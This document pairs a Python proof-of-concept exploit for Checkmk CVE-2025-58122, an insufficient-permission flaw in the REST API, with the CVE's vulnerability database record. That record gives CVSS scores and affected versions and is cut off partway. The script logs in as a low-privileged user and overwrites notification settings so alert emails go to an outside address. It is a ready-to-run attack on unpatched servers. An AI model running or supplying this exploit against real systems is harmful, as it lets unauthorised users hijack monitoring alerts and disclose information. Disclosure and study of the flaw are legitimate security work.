CVE-2025-58122

# Checkmk CVE-2025-58122 PoC - Insufficient Permission Validation # This PoC demonstrates how low-privileged users can modify notification parameters import requests import json TARGET_URL = "https://target-checkmk.local" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Login to get session cookie def login(): login_url = f"{TARGET_URL}/api/1.0/login" data = { "username": USERNAME, "password": PASSWORD } headers = { "Accept": "application/json", "Content-Type": "application/json" } response = requests.post(login_url, json=data, headers=headers, verify=False) return response.cookies # Modify notification parameters (exploiting insufficient permission validation) def modify_notification(cookies): # API endpoint for notification configuration notify_url = f"{TARGET_URL}/api/1.0/domain-types/notification_configuration/collections/all" headers = { "Accept": "application/json", "Content-Type": "application/json" } # Malicious payload to modify notification parameters payload = { "notification_method": { "plugin": "email", "parameters": { "recipient_email": "[email protected]", "from_address": "[email protected]" } } } # This request should fail for low-privileged users, but succeeds due to the vulnerability response = requests.put(notify_url, json=payload, headers=headers, cookies=cookies, verify=False) if response.status_code == 200: print("[+] SUCCESS: Notification parameters modified by low-privilege user!") print(f"[+] Response: {response.text}") else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": print("[*] Checkmk CVE-2025-58122 PoC") print("[*] Exploiting insufficient permission validation in REST API") cookies = login() modify_notification(cookies)

{"cve": {"id": "CVE-2025-58122", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:44.930", "lastModified": "2025-11-24T13:58:28.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient permission validation in Checkmk 2.4.0 before version 2.4.0p16 allows low-privileged users to modify notification parameters via the REST API, which could lead to unauthorized actions or information disclosure."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:-:*:*:*:*:*:*", "matchCriteriaId": "022C075A-4B04-4141-A7D7-F93C9A7CE0FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.4.0:b1:*:*:*:*:*:*", "matchCriteriaId": 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